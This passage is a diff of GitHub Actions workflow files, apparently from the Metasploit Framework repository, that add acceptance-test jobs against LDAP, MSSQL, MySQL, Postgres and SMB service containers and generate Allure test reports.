||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Run samba/ldap docker container
|
||||
working-directory: 'test/ldap'
|
||||
run: |
|
||||
docker compose build
|
||||
docker compose up --wait -d
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: latest
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/ldap_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: ldap-acceptance-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- ldap
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development"
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -43,7 +43,7 @@ jobs:
|
||||
run: sudo apt-get install libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
# Required to checkout HEAD^ and 3a046f01dae340c124dd3895e670983aef5fe0c5 for the msftidy script
|
||||
# https://github.com/actions/checkout/tree/5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f#checkout-head
|
||||
with:
|
||||
|
||||
@@ -0,0 +1,182 @@
|
||||
name: Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**mssql**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
mssql:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
services:
|
||||
mssql:
|
||||
image: ${{ matrix.docker_image }}
|
||||
ports: ["1433:1433"]
|
||||
env:
|
||||
MSSQL_SA_PASSWORD: yourStrong(!)Password
|
||||
ACCEPT_EULA: 'Y'
|
||||
options: >-
|
||||
--health-cmd "/opt/mssql-tools/bin/sqlcmd -U sa -P 'yourStrong(!)Password' -Q 'select 1' -b -o /dev/null"
|
||||
--health-interval 10s
|
||||
--health-timeout 5s
|
||||
--health-retries 5
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
docker_image:
|
||||
- mcr.microsoft.com/mssql/server:2022-latest
|
||||
- mcr.microsoft.com/mssql/server:2019-latest
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
|
||||
name: ${{ matrix.docker_image }} - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: Extract runtime version
|
||||
run: |
|
||||
echo "RUNTIME_VERSION=$(echo $DOCKER_IMAGE | awk -F: '{ print $2 }')" >> $GITHUB_ENV
|
||||
echo "DOCKER_IMAGE_FILENAME=$(echo $DOCKER_IMAGE | tr -d '/:')" >> $GITHUB_ENV
|
||||
env:
|
||||
DOCKER_IMAGE: ${{ matrix.docker_image }}
|
||||
OS: ${{ matrix.os }}
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: ${{ env.RUNTIME_VERSION }}
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/mssql_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: ${{ env.DOCKER_IMAGE_FILENAME }}-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- mssql
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development"
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -0,0 +1,182 @@
|
||||
name: Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**mysql**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
mysql:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
services:
|
||||
mysql:
|
||||
image: ${{ matrix.target.version }}
|
||||
ports: ["3306:3306"]
|
||||
env:
|
||||
MYSQL_ROOT_PASSWORD: password
|
||||
options: >-
|
||||
--health-cmd "${{ matrix.target.health_cmd }}"
|
||||
--health-interval 10s
|
||||
--health-timeout 10s
|
||||
--health-retries 5
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
target:
|
||||
- { version: "mariadb:latest", health_cmd: "mariadb -uroot -ppassword -e 'SELECT version()'" }
|
||||
- { version: "mariadb:5.5.42", health_cmd: "mysql -uroot -ppassword -e 'SELECT version()'" }
|
||||
- { version: "mysql:latest", health_cmd: "mysql -uroot -ppassword -e 'SELECT version()'" }
|
||||
- { version: "mysql:5.5.42", health_cmd: "mysql -uroot -ppassword -e 'SELECT version()'" }
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
|
||||
name: ${{ matrix.target.version }} - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: Extract runtime version
|
||||
run: |
|
||||
echo "RUNTIME_VERSION=$(echo $DOCKER_IMAGE | awk -F: '{ print $2 }')" >> $GITHUB_ENV
|
||||
echo "DOCKER_IMAGE_FILENAME=$(echo $DOCKER_IMAGE | tr -d ':')" >> $GITHUB_ENV
|
||||
env:
|
||||
DOCKER_IMAGE: ${{ matrix.target.version }}
|
||||
OS: ${{ matrix.os }}
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: ${{ env.RUNTIME_VERSION }}
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/mysql_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: ${{ env.DOCKER_IMAGE_FILENAME }}-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- mysql
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development"
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -0,0 +1,182 @@
|
||||
name: Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**postgres**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
postgres:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
services:
|
||||
postgres:
|
||||
image: ${{ matrix.docker_image }}
|
||||
ports: ["5432:5432"]
|
||||
env:
|
||||
POSTGRES_USER: postgres
|
||||
POSTGRES_PASSWORD: password
|
||||
options: >-
|
||||
--health-cmd pg_isready
|
||||
--health-interval 10s
|
||||
--health-timeout 5s
|
||||
--health-retries 5
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
docker_image:
|
||||
- postgres:9.4
|
||||
- postgres:16.2
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
|
||||
name: ${{ matrix.docker_image }} - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: Extract runtime version
|
||||
run: |
|
||||
echo "RUNTIME_VERSION=$(echo $DOCKER_IMAGE | awk -F: '{ print $2 }')" >> $GITHUB_ENV
|
||||
echo "DOCKER_IMAGE_FILENAME=$(echo $DOCKER_IMAGE | tr -d ':')" >> $GITHUB_ENV
|
||||
env:
|
||||
DOCKER_IMAGE: ${{ matrix.docker_image }}
|
||||
OS: ${{ matrix.os }}
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: ${{ env.RUNTIME_VERSION }}
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/postgres_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: ${{ env.DOCKER_IMAGE_FILENAME }}-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- postgres
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development"
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -0,0 +1,166 @@
|
||||
name: Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**smb**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
smb:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
SMB_USERNAME: acceptance_tests_user
|
||||
SMB_PASSWORD: acceptance_tests_password
|
||||
|
||||
name: SMB Acceptance - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Run docker container
|
||||
working-directory: 'test/smb'
|
||||
run: |
|
||||
docker compose build
|
||||
docker compose up --wait -d
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: 'latest'
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/smb_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: smb_acceptance-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- smb
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development"
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
